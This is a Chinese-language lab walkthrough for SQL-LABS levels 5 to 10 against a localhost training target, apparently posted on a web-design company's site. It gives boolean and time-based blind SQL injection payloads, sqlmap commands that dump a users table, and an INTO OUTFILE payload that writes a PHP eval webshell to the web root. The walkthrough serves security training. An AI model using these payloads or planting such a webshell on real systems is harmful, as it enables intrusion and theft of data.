尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
SQL-LABS Less5-Less10 盲注实战指南
SQL-LABS Less-5 到 Less-10 盲注实战指南 目录盲注基础知识环境准备Less-5布尔盲注入门Less-6双引号布尔盲注Less-7导出文件注入Less-8时间盲注基础Less-9时间盲注进阶Less-10双引号时间盲注自动化工具使用总结与经验一、盲注基础知识什么是盲注盲注Blind SQL Injection是指在 SQL 注入攻击中页面不会直接回显数据库内容只能通过页面的不同反应来判断注入是否成功。盲注的两种类型类型判断依据速度难度布尔盲注页面内容变化True/False快中等时间盲注页面响应时间变化慢较高为什么需要盲注在真实环境中很多网站❌ 不显示 SQL 错误信息❌ 不回显查询结果✅ 只显示登录成功/失败、存在/不存在等简单提示这时候就必须使用盲注技术。二、环境准备1. 启动 SQL-LABS确保 PHPStudy/XAMPP 已启动访问http://localhost/sqli-labs/2. 工具准备✅ 浏览器Chrome/Firefox✅ Burp Suite可选用于拦截请求✅ SQLMap自动化工具✅ 笔记本记录payload和结果3. 核心 SQL 函数复习函数作用示例length()获取字符串长度length(database())substr()截取字符串substr(database(),1,1)第1个字符ascii()获取字符ASCII码ascii(substr(database(),1,1))if()条件判断if(11, sleep(5), 0)sleep()延迟执行sleep(5)延迟5秒mid()同 substrmid(database(),1,1)三、Less-5布尔盲注入门关卡信息URLhttp://localhost/sqli-labs/Less-5/?id1注入点GET 参数id注入类型单引号字符型布尔盲注页面特征正确时显示 “You are in…”错误时无输出步骤 1判断注入点测试 Payload?id1现象页面无任何输出说明SQL语法错误测试闭合?id1 -- ?id1 # ?id1 and 11结论单引号闭合存在注入点。步骤 2判断数据库名长度Payload 模板?id1 and length(database())5 --测试过程?id1 and length(database())10 -- # 无输出False长度≤10 ?id1 and length(database())5 -- # 有输出True长度5 ?id1 and length(database())8 -- # 无输出False长度≤8 ?id1 and length(database())8 -- # 有输出True长度8结论数据库名长度为8。步骤 3逐字符猜解数据库名Payload 模板?id1 and ascii(substr(database(),1,1))100 --猜解第 1 个字符?id1 and ascii(substr(database(),1,1))100 -- # 有输出ASCII 100 ?id1 and ascii(substr(database(),1,1))110 -- # 有输出ASCII 110 ?id1 and ascii(substr(database(),1,1))115 -- # 无输出ASCII ≤ 115 ?id1 and ascii(substr(database(),1,1))115 -- # 有输出ASCII 115结论第 1 个字符 ASCII 码是115对应字母s。重复步骤猜解剩余字符最终得到数据库名security步骤 4猜解表名先猜解表名数量?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3 --猜解第一个表名长度?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6 --猜解第一个表名的第一个字符?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101 --完整表名列表emailsreferersuagentsusers步骤 5猜解列名和数据猜解 users 表的列名?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))100 --最终获取数据username: admin password: password四、Less-6双引号布尔盲注关卡信息URLhttp://localhost/sqli-labs/Less-6/?id1注入类型双引号字符型布尔盲注与 Less-5 的区别闭合方式从单引号变成双引号核心区别Less-5 闭合SELECT*FROMusersWHEREid$idLIMIT0,1Less-6 闭合SELECT*FROMusersWHEREid$idLIMIT0,1测试闭合方式?id1 # 错误 ?id1 -- # 正确 ?id1 and 11 # 正确Payload 调整只需要把 Less-5 的所有 Payload 中的单引号换成双引号# Less-5 ?id1 and length(database())8 -- # Less-6双引号 ?id1 and length(database())8 --其他步骤完全相同。五、Less-7导出文件注入关卡信息URLhttp://localhost/sqli-labs/Less-7/?id1注入类型导出文件注入INTO OUTFILE闭合方式))双括号单引号核心知识INTO OUTFILE作用将查询结果写入文件。语法SELECTcontentINTOOUTFILE/path/to/file.txt利用条件✅ MySQL 用户有 FILE 权限✅ 知道网站物理路径✅ 目标目录可写步骤 1判断闭合方式?id1 # 错误 ?id1) # 错误 ?id1)) # 错误 ?id1)) -- # 正确步骤 2查看当前路径?id1)) and 12 union select 1,datadir,3 --步骤 3写入一句话木马Payload?id1)) union select 1,?php eval($_POST[cmd]);?,3 into outfile C:/phpStudy/WWW/sqli-labs/shell.php --注意事项Windows 路径用/或\\文件名不能已存在路径必须可写步骤 4连接木马访问http://localhost/sqli-labs/shell.php用菜刀/蚁剑连接密码cmd六、Less-8时间盲注基础关卡信息URLhttp://localhost/sqli-labs/Less-8/?id1注入类型单引号时间盲注页面特征无论输入什么都显示 “You are in…”时间盲注原理页面没有任何变化只能通过响应时间判断条件为真 → 延迟 5 秒条件为假 → 立即返回步骤 1确认时间盲注Payload?id1 and sleep(5) --现象页面延迟约 5 秒后返回。步骤 2判断数据库名长度Payload 模板?id1 and if(length(database())8, sleep(5), 0) --测试过程?id1 and if(length(database())10, sleep(5), 0) -- # 立即返回False ?id1 and if(length(database())8, sleep(5), 0) -- # 延迟5秒True结论数据库名长度为8。步骤 3逐字符猜解数据库名Payload 模板?id1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) --猜解第 1 个字符?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- # 延迟5秒 ?id1 and if(ascii(substr(database(),1,1))110, sleep(5), 0) -- # 延迟5秒 ?id1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) -- # 延迟5秒确认重复步骤猜解剩余字符得到security注意事项⚠️时间盲注很慢每个字符需要多次请求二分法约 7 次8 个字符 至少 56 次请求每次延迟 5 秒 总共需要280 秒约 5 分钟优化方法使用二分法减少请求次数延迟时间改为 2-3 秒使用自动化工具SQLMap七、Less-9时间盲注进阶关卡信息URLhttp://localhost/sqli-labs/Less-9/?id1注入类型单引号时间盲注与 Less-8 的区别无论输入什么都返回相同内容核心特点更加盲Less-8错误时有提示Less-9任何情况都显示 “You are in…”解题方法完全依赖时间判断步骤与 Less-8 一致# 判断长度 ?id1 and if(length(database())8, sleep(3), 0) -- # 猜解字符 ?id1 and if(ascii(substr(database(),1,1))115, sleep(3), 0) --八、Less-10双引号时间盲注关卡信息URLhttp://localhost/sqli-labs/Less-10/?id1注入类型双引号时间盲注闭合方式解题方法把 Less-8/Less-9 的单引号改成双引号# Less-8/9单引号 ?id1 and if(length(database())8, sleep(3), 0) -- # Less-10双引号 ?id1 and if(length(database())8, sleep(3), 0) --九、自动化工具使用SQLMap 基础用法Less-5布尔盲注sqlmap-uhttp://localhost/sqli-labs/Less-5/?id1--batch--dbsLess-8时间盲注sqlmap-uhttp://localhost/sqli-labs/Less-8/?id1--batch--techniqueT--dbs常用参数--dbs# 列出所有数据库--current-db# 当前数据库名-Dsecurity--tables# 列出 security 库的表-Dsecurity-Tusers--columns# 列出 users 表的列-Dsecurity-Tusers--dump# 导出 users 表数据--techniqueB# 只使用布尔盲注--techniqueT# 只使用时间盲注十、总结与经验核心知识点布尔盲注- 通过页面内容变化判断快时间盲注- 通过响应时间判断慢但通用闭合方式- 单引号、双引号、括号组合核心函数- length()、substr()、ascii()、if()、sleep()关卡对照表关卡注入类型闭合方式难度关键点Less-5布尔盲注⭐⭐⭐基础布尔盲注Less-6布尔盲注⭐⭐⭐双引号闭合Less-7文件导出))⭐⭐⭐⭐INTO OUTFILELess-8时间盲注⭐⭐⭐⭐基础时间盲注Less-9时间盲注⭐⭐⭐⭐完全盲注Less-10时间盲注⭐⭐⭐⭐双引号时间盲注
RELATED

相关推荐

机器学习生产化七道生死关:从模型到高可用AI服务

机器学习生产化七道生死关:从模型到高可用AI服务

1. 项目概述:当模型走出笔记本,真正开始“呼吸”现实世界 你有没有经历过这样的场景?花了三个月时间调参、优化、交叉验证,AUC冲到0.92,团队在会议室里击掌庆祝,PM当场拍板“下周上线”。模型打包成API&…

📅 2026/9/1 16:50:53
TMS320x2806x GPIO配置全解析:从引脚复用到实战避坑

TMS320x2806x GPIO配置全解析:从引脚复用到实战避坑

1. 项目概述与核心价值在嵌入式系统开发,尤其是基于德州仪器(TI)C2000系列DSP的应用中,GPIO(通用输入/输出)的配置是硬件驱动开发的基石。很多工程师在初次接触TMS320x2806x这类功能强大的微控制器时&#…

📅 2026/9/1 16:46:41
Qt模型/视图架构深度解析:从MVC差异到自定义Model核心实现

Qt模型/视图架构深度解析:从MVC差异到自定义Model核心实现

如果你在面试Qt开发岗位时,被问到“模型/视图架构和传统MVC有什么区别?”,或者“自定义Model必须实现哪些核心方法?”,你会怎么回答?这几乎是Qt GUI开发面试中的必考题。很多开发者能说出“MVC是Model-View…

📅 2026/9/12 5:08:35
MORE NEWS

更多资讯

📰

多机器人TF树不相连?HyperFrame虚拟根在ROS2中的设计实践

如果你同时维护过两台以上跑 SLAM 的移动机器人,大概率见过这种报错:tf2_echo或者lookupTransform告诉你,两个坐标帧之间找不到变换。我第一次被这个问题卡住,是在一个两辆 AGV 协同运输的项目里——A 车和 B 车在同一个仓库&…

📰

MV3架构下的浏览器插件工程化:跨进程通信与端侧AI实践

前阵子有个朋友问我,浏览器插件这东西现在还值得折腾吗?他的印象还停留在十年前——改点 DOM、拦截几个请求、往页面里塞一段脚本,百来行代码搞定。我没直接回答,给他看了我现在这个项目的 background service worker 里那两百多行…

📰

BOSS直聘AI招聘实战:从语义匹配到交付闭环的全流程重构

1. 这不是又一个“AI喊口号”的招聘工具,而是HR工作流被重写的现场最近在帮三家公司做招聘效能诊断时,反复听到同一句话:“BOSS直聘的AI功能上线后,我们初筛简历的时间砍掉60%,但更关键的是——原来要花3天才能推进到面…

📰

YOLOv8-seg改进方案在禽类养殖计数中的应用

1. 项目背景与核心需求在禽类养殖场中,鸡只数量统计是一项基础但重要的工作。传统人工计数方式效率低下且容易出错,而基于计算机视觉的自动化计数方案正在逐步替代人工。我们选择YOLOv8-seg作为基础框架,主要考虑到其在实例分割任务上的优异表…

📰

YOLO26在交通标志识别中的优化与部署实战

1. 项目概述:当YOLO26遇上交通标志识别去年在山东某高速路段实测时,我发现现有识别系统对临时施工标志的漏检率高达37%,这正是促使我深入研究YOLO26框架的契机。这个号称"目标检测新基准"的框架,在COCO数据集上mAP指标比…

📰

Obsidian同步方案对比:坚果云WebDAV与官方Sync的实战选择

Obsidian 的同步问题,几乎每个深度用户都会在某一天突然面对。笔记越写越多,手机、办公电脑、家里台式机三处要同时维护,这时候没有一套好用的同步方案,整个知识库就成了定时炸弹——不是这端忘了改,就是那端覆盖了旧版…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬